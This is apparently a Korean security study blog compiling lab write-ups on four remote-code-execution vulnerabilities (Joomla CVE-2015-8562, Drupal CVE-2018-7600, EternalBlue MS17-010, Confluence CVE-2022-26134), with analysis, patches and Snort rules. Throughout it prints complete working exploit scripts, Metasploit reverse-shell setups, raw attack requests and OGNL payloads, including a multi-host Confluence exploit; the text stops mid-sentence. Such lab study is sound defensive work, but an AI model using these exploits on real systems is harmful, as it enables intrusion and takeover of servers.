1. Joomla

- PHP로 작성된 오픈 소스 저작물 관리 시스템
- MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 가짐

 

 2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2015-8562

- 세션 데이터에 조작된 User-Agent 문자열을 삽입하여 잘못된 세션 헨들러 로직을 통해 데이터베이스(utf8_general_ci)에 저장되는 취약점

- session_decode() 함수 버그(CVE-2015-6835)와 unserialize() 함수 버그(CVE-2015-0273)이 관련됨

영향받는 버전
- 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45

 

2.1 실습

- Joomla를 설치 하였으나, [사진 1] 에러가 발생

※ 구글링 조회 결과를 바탕으로 실습 보고서 작성

[사진 1] 취약한 서버 구동

 

- 공격 대상이 취약점에 영향을 받는 Joomla 및 PHP 버전에 해당하는지 확인

- Metasploit 스캐너를 통해 줌라 버전 조회 (취약한 Joomla 버전 : 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x)

msf6 > use auxiliary/scanner/http/joomla_version 
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.56.112
msf6 auxiliary(scanner/http/joomla_version) > set targeturi /joomla/
msf6 auxiliary(scanner/http/joomla_version) > run

[사진 2] Scan 수행(위) 및 취약한 경우 결과(아래)

 

- PHP 버전 확인 (취약한 PHP 버전 : PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45)

[사진 3] PHP 버전 조회

 

- CVE-2015-8562 모듈을 다운로드하여 실습 진행

- Exploit 결과 공격자와 session이 설정되었으며, sysinfo, getuid 등의 명령을 통해 서버의 정보를 조회할 수 있음

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/joomla_http_header_rce.rb
cp joomla_http_header_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/http
msfconsole   
msf6 > use exploit/multi/http/joomla_http_header_rce 
msf6 exploit(multi/http/joomla_http_header_rce) > set payload php/meterpreter/bind_tcp
msf6 exploit(multi/http/joomla_http_header_rce) > set rhosts 192.168.56.112
msf6 exploit(multi/http/joomla_http_header_rce) > set rport 8080
msf6 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
msf6 exploit(multi/http/joomla_http_header_rce) > set lhosts 192.168.56.102
msf6 exploit(multi/http/joomla_http_header_rce) > exploit

[사진 4] exploit 수행

 

- 위 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 5] 패킷 덤프

 

- 익스플로잇 후 데이터베이스에서 "joomla_sessions" 테이블을 확인해보면 조작된 세션 데이터가 저장됨

※ joomla_sessions : 세션 데이터를 보유하고 있는 테이블

[사진 6] 익스플로잇 전(좌) 후(우) 테이블 비교

2.2 분석

- Joomla는 수신하는 모든 User-Agent 헤더를 웹사이트 데이터베이스에 저장

- 이 경우, User-Agnet나 HTTP_X_FORWARDED_FOR 헤더를 통해 서버에 사용자 PC 정보를 알려줌

- 보통 통계 자료로 활용하기 위해 수집하며, Joomla에서는 해당 데이터를 세션에 저장

 

- [사진 7]을 확인해 보면, User-Agent 헤더를 통해 문자열을 입력 받을 수 있음

[사진 7] Joomla Package\libraries\joomla\session\session.php

 

- 데이터베이스에 저장하는 과정 중 직렬화를 수행

source > array("a" => 5, "b" => 6)
serialize() 함수 > a:2:{s:1:"a";i:5;s:1:"b";i:6;}
session_encode() 함수 > a|i:5;b|i:6;

 

- database.php에서 취약점이 트리거됨

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

[사진 8] Joomla Package\libraries\joomla\session\storage\database.php

 

- 보호된 변수(protected)는 직렬화 시 "\0*\0" 로 시작

class CustomClass
{
protected $data = 5;
}
echo serialize(new CustomClass);

결과 > O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

 

- Joomla 어플리케이션의 사용자 세션 핸들러는 zero scaped 버전으로 변환해서 지원

- 이것은 HTTP 헤더를 통해 Null 바이트가 통과할 수 있게끔 허용

- 통과된 Null 바이트가 포함되어 있는 악의적인 코드는 Joomla 어플리케이션의 사용자 세션 핸들러가 보호된 변수를 직렬화할 수 있도록 가능하게 되어 악의적인 코드가 실행

 

2.3 PoC

- User-Agent 헤더에 공격용 코드를 삽입

- generate_payload 함수를 통해서 원격 명령을 삽입

- 공격 후 get_url('접근 URL', 'payload' 입력)로 결과 확인

'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)

 

3. 대응방안

① Joomla 업데이트 적용

- 3.4.6 버전 이상으로 업데이트

 

4. 참고

https://lopicit.tistory.com/363

https://github.com/vulhub/vulhub/blob/master/joomla/CVE-2015-8562/README.md

- https://blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=koromoon&logNo=220575405820

https://resources.infosecinstitute.com/topic/exploiting-cve-2015-8562-new-joomla-rce-2/

https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-0-day-exploited-in-the-wild-cve-2015-8562/

https://blog.sucuri.net/2014/11/deep-dive-into-the-hikashop-vulnerability.html

1. Drupal

- PHP로 작성된 오픈 소스 콘텐츠 관리 프레임워크, 콘텐츠 관리 시스템, 블로그 엔진

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2018-7600

- 취약한 Drupal의 Form API Ajax 요청 프로세스에서 입력값 검증이 제대로 이루어지지 않아 공격자로부터 악의적인 코드를 실행할 수 있음

영향받는 버전
- Drupal 7.58 이전 버전
- Drupal 8.3.9 이전의 8.x
- Drupal 8.4.6 이전의 8.5.x
- Drupal 8.5.1 이전의 8.5.x

 

2.1 분석

- Drupal에서 Form API는 Renderable Arrays, 배열을 사용
- 랜더링 배열은 "#"로 시작하는 키-값 구조
- #post_render 배열은 브라우저에 특정 부분을 랜더링하는 역할 수행
- #post_render 배열에 시스템 명령 함수를, 배열의 인자인 #markup에 시스템 명령어를 삽이하면, 해당 명령이 실행됨

[사진 2] 예시

2.1 실습

- 취약한 서버 실행

git clone https://github.com/vulhub/vulhub
cd /vulhub/drupal/CVE-2018-7600
docker-compose up -d

[사진 3] Docker 이미지 실행

 

- 이후 localhost:8080으로 접속하여 설치 진행 및 정상 접근 확인

※ "데이터베이스 설정"에서 sqlite 데이터베이스 선택

[사진 4] 설치 완료

 

- Drupal 전용 스캐너 droopescan으로 정보 수집

git clone https://github.com/SamJoan/droopescan
cd droopescan 
pip install -r requirements.txt 
./droopescan --help
./droopescan scan -u Target

[사진 5] Scan 결과

 

- ExploitDB에서 Exploit 코드를 다운 받아 PoC 실행

[사진 6] PoC 실행

 

- PoC 실행 후 Check에서 확인되는 URL에 접근 시 hello.txt의 내용 확인 가능

[사진 7] hello.txt

 

- 와이어샤크를 통해 확인해보면 다음과 같음

[사진 8] Exploit 수행(좌) 및 결과(우)

 

- id 명령어 삽입 및 수행 결과 정상 반환 등 다른 명령어 또한 삽입이 가능

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

[사진 9] id 명령어 삽입(위) 및 와이어샤크(아래)

2.2 PoC

- PoC를 통해 다음을 확인할 수 있음

① form_id=user_register_form // user_register_form은 가입하기 양식 전체의 form_id

② _drupal_ajax=1 // ajax 사용

③ mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id // 실제 공격이 발생하는 지점

#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

 

3. 대응방안

3.1 서버측면

- 패치 적용

버전 패치 버전
Drupal 7.x 버전대 7.58 버전
Drupal 8.3.x 버전대 8.3.9 버전
Drupal 8.4.x 버전대 8.4.6 버전
Drupal 8.5.x 버전대 8.5.1 버전

 

3.2 네트워크 측면

- 원격 명령 삽입이 가능한 랜더링 배열을 탐지하는 정책을 설정

#access_callback : Drupal에서 현재 사용자가 요소에 액세스할 수 있는지 여부를 결정하는 데 사용
#pre_render : 렌더링하기 전에 렌더링 배열을 조작
#lazy_builder : 렌더링 프로세스의 맨 마지막에 요소를 추가하는 데 사용
#post_render : 렌더링 프로세스의 결과를 받고 주변에 래퍼를 추가

<snort 예시>
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Drupalgeddon2 (CVE-2018-7600)"; flow: to_server,established; content:"POST"; http_method; content:"markup"; fast_pattern; content: "/user/register"; http_uri; pcre:"/(access_callback|pre_render|lazy_builder|post_render)/i"; classtype:web-application-attack; sid:9000110; rev:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/cve-2018-7600

https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600

https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/

https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708

https://www.exploit-db.com/exploits/44448

1. SMB (Server Message Block)

- Common Internet File System, CIFS라고도 함

- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐

- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜

- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용

버전 설명
SMBv1 - MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜
- 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용
- 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원
SMBv2 - 2006년 제작되어 Windows Vista부터 탑재
- 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음
- 속도와 보안 모두 기존보다 월등
- 일반 사용자는 SMBv2로도 아직까지 충분
SMBv3 - SMBv2에 속도 최적화 및 각종 기능을 추가한 것
- 2012년에 제작되어 Windows 8부터 탑재
- SMBv2와도 통신이 가능
- SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것

 

2. 이터널블루 (EthernalBlue)

- 미 국가안보국(NSA)의 해킹 도구

- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용

- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출

※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용

 

3. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능

- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점

- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능

- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능

- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포

영향받는 버전
- Windows 10
- Windows 8.1
- Windows RT 8.1
- Windows 7
- Windows Server 2016
- Windows Server 2012 R2
- Windows server 2008 R2 SP1 SP2

 

취약점명 CVE 번호 MS 번호
Windows SMB 원격 코드 실행 취약점 CVE-2017-0143 MS17-010
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147

 

3.1 실습

희생자 PC
- OS : Windows 7 Ultimate x64
- IP : 192.168.56.116

공격자 PC
- OS : Kali Linux
- IP : 192.168.56.102

 

- 희생자 PC에 SMB Port가 열려 있는지 확인

[사진 1] 445/TCP open

 

- 메타스플로잇 실행

service postgresql start
msfconsole

[사진 2] 메타스플로잇 실행

 

- ms17_010 모듈 실행 및 옵션 설정

- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인

※ 아래부터 보고서를 기준으로 작성

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[사진 3] 패치된 버전으로 인해 취약점 없음

- 취약한 서버일 경우 [+]로 정보가 표시

[사진 4] 취약 서버 확인

- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/

[사진 5] 이터널블루 설치 및 추가

 

- 이터널블루-더블펄서 모듈 실행

msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar 
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options

[사진 6] 옵션 설정

- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정

옵션 설명
DOUBLEPULSARPATH  더블펄서 경로 지정
ETERNALBLUEPATH 이터널블루 경로 지정
PROCESSINJECT 악성코드가 들어갈 프로세스 지정
x64는 lsass.exe 사용
RHOSTS  공격 대상 IP
RPORT 445 (SMB Port)
TARGETARCHITECTURE 공격 대상 운영체제 버전 (x86, x64)
WINEPATH /root/.wine/drive_c/
Exploit target 공격 대상 OS 설정
  LHOST 로컬 IP 주소
payload 페이로드 생성

 

msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp      
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102

[사진 7] 옵션 확인

- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정

- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능

※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/

[사진 8] 익스플로잇 성공

3. 대응방안

3.1 서버측면

① OS 최신 보안 패치 적용

- 아래 링크에서 버전별 업데이트 적용

 

Microsoft 보안 공지 MS17-010 - 긴급

Microsoft 보안 공지 MS17-010 - 긴급 아티클 12/06/2019 읽는 데 31분 걸림 기여자 4명 피드백 이 문서의 내용 --> Microsoft Windows SMB 서버용 보안 업데이트(4013389) 게시된 날짜: 2017년 3월 15일 버전: 1.0 요약

learn.microsoft.com

 

3.2 네트워크 측면

① 탐지 룰 적용

- 공개된 Snort 정보

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION. Non-Fragmented NT Trans Request with command NT Rename (CVE-2017-0146)"; flow: established, to_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; byte_extract: 4, 35, NTTrans.TotalDataCount, relative, little; byte_test: 4, =, NTTrans.TotalDataCount, 16, relative, little; content: "|05 00|"; distance: 25; within: 2; isdataat:300, relative; flowbits: set, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001717; rev: 2;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] NT Trans Response"; flow: established, from_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: unset, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001718; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Race Condition Exploit. NT Trans Secondary packet follows NT Trans Req (CVE-2017-0146)"; flow: established, no_stream, to_server; content: "|FF|SMB|A1|"; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: set, EternalRomance.RaceCondition.Attempt; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001719; rev: 1;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Successful kernel data leak (CVE-2017-0146)"; flow: established, from_server; content: "|FF|SMB|A0|"; content: "Frag"; within: 115; flowbits: isset, EternalRomance.RaceCondition.Attempt; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001720; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALROMANCE exploitation (CVE-2017-0143)"; flow: established, to_server; content: "|FF|SMB|A1|"; content: "|FF|SMB|A0|"; distance: 0; content: "|05 00|"; distance: 64; within: 2; content: "|FF|SMB|25|"; distance: 13; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0143; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, www.crowdstrike.com/blog/badrabbit-ms17-010-exploitation-part-one-leak-and-control; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001723; rev: 1; )

 

② 네트워크 방화벽 및 윈도우 방화벽에서 SMB 관련 포트 차단

- SMB를 사용하지 않는 경우 방화벽에서 포트를 차단

프로토콜 포트번호
UDP 137
138
TCP 139
445

 

3.3 기타

① 최신의 백신상태로 유지 및 실시간 감지모드를 이용하여 악성코드의 실행을 차단

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- https://rjswn0315.tistory.com/153

- https://dailylearn.tistory.com/m/125

https://namu.wiki/w/SMB

https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2017/ms17-010

- https://github.com/ptresearch/AttackDetection/blob/master/MS17-010/ms17-010.rules

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25906&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTctMDE0Mw== 

1. Confluence

- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어

- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- 취약 버전의 Confluence Server 및 Data Center에서 OGNL 표현식에 의해 발생하는 원격 명령 실행 취약점

취약한 버전
- Confluence Server 및 Data Center 모든 지원되는 버전
- Confluence Server 및 Data Center 1.3.0 이후의 버전

 

2.1 취약점 실습

- 취약 서버 구동

git clone https://github.com/vulhub/vulhub
cd /vulhub/confluence/CVE-2022-26134
docker-compose up -d

 

[사진 2] 취약 서버 구동

- "Get an evaluation license"를 통해 키 발급 받기

[사진 3] 키 발급

- [사진 3]에서 키 발급 후 Next로 default 설치 진행 및 데이터베이스 설정 진행

- Next > Example Site > default 설치 진행

[사진 4] 설정 진행

- 서버 정상 구동 및 접근 확인

[사진 5] 서버 구동(위) 및 접근 확인(아래)

- Pyhton 파일을 이용해 Exploit 진행 및 id명령 수행 결과가 반환

[사진 6] Exploit

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크 확인

<디코딩 전>
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

<디코딩 후>
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

 

2.2 취약점 분석

- 정확하지는 않으나 요청 분석 과정에서 입력값 검증이 부족한 것으로 판단됨

① 서버는 클라이언트의 요청을 처리하기위해 TextParseUtil.translateVariables를 호출
② TextParseUtil.translateVariables에서 "\\\$\\{(^})\\\}"패턴에 대해서만 필터링

※ xwork-1.0.3.6.jar 내 TextParseUtil.class가 있음

[사진 8]&nbsp;TextParseUtil.translateVariables

 

2.3 PoC 분석

- spiderXpl(url) 함수에서 OGNL 표현식 설정 등 공격을 위한 설정이 이루어짐

① 전달 받은 커맨드(-c 옵션 : command)를 포함하여 OGNL 표현식으로 설정

② setHeader() 함수를 통해 응답값에 "X-Cmd-Response"를 설정

③ 취약한 서버의 경우 OGNL 표현식 수행 결과를 X-Cmd-Response를 통해 응답

#!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
    globals().update(locals())
    if not url.startswith('http'):
        url='http://'+url
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate"}

    try:
        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
        if(response.status_code == 302):
            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

            inputBuffer = str(response.headers['X-Cmd-Response'])
            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
        else:
            pass

    except requests.exceptions.ConnectionError:
        print('[x] Failed to Connect: '+url)
        pass
    except multiprocessing.log_to_stderr:
        pass
    except KeyboardInterrupt:
        print('[!] Stoping exploit...')
        exit(0)
    except (MissingSchema, InvalidURL):
        pass
    
    
def banner():
    print('[-] CVE-2022-26134')
    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')

    
def main():
    banner()
    
    globals().update(locals())
    
    sys.setrecursionlimit(100000)

    if not optionsOpt.filehosts:
        url = optionsOpt.url
        spiderXpl(url)
    else:
        f = open(optionsOpt.filehosts)
        urls = map(str.strip, f.readlines())

        multiReq = multiprocessing.Pool(optionsOpt.threads_set)
        try:
            multiReq.map(spiderXpl, urls)
            multiReq.close()
            multiReq.join()
        except UnboundLocalError:
            pass
        except KeyboardInterrupt:
            exit(0)


    if optionsOpt.output:
        print("\n[!] Saving the output result in: %s" % optionsOpt.output)

        with open(optionsOpt.output, "w") as f:
            for result in paramResults:
                f.write("%s\n" % result)
        f.close()

if __name__ == "__main__":
    parser = optparse.OptionParser()

    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
    optionsOpt, args = parser.parse_args()

    main()

 

3. 대응방안

3.1 서버측면

① 취약점이 패치된 보안 업데이트 적용

제품 패치 버전
Confluence 7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

- 즉시 업데이트가 어려운 경우 아래 사이트를 참고해 버전별 임시 해결 방안을 적용

⒜ 취약점이 발생한 xwork-1.0.3.6.jar를 새로 출시된 xwork-1.0.3-atlassian-10.jar로 교체 권고

 

Confluecne 보안 권고 CVE-2022-26134 - CURVC DevOps - Confluence

이 문서는 CVE-2022-26134 취약점에 대한 조치 방법을 공유하기 위해 작성되었다. 취약점 요약표 요약CVE-2022-26134 - Confluence Server 및 Data Center의 원격 코드 실행 취약점 (심각도- 미인증)권고 릴리스

confluence.curvc.com

 

- 패치된 버전에서는 translateVariables 메서드를 사용하지 않고 finalNamespace 및 finalActionName 변수를 사용

[사진 9] 패치 전(위) 후(아래) 비교

- findValue 메서드 SafeExpressionUtil.class를 추가

⒜ isSafeExpression()를 통해 입력값에 대한 검증을 강화

[사진 10] 표현식 추가

3.2 네트워크측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

⒜ OGNL 표현식 : ${(#

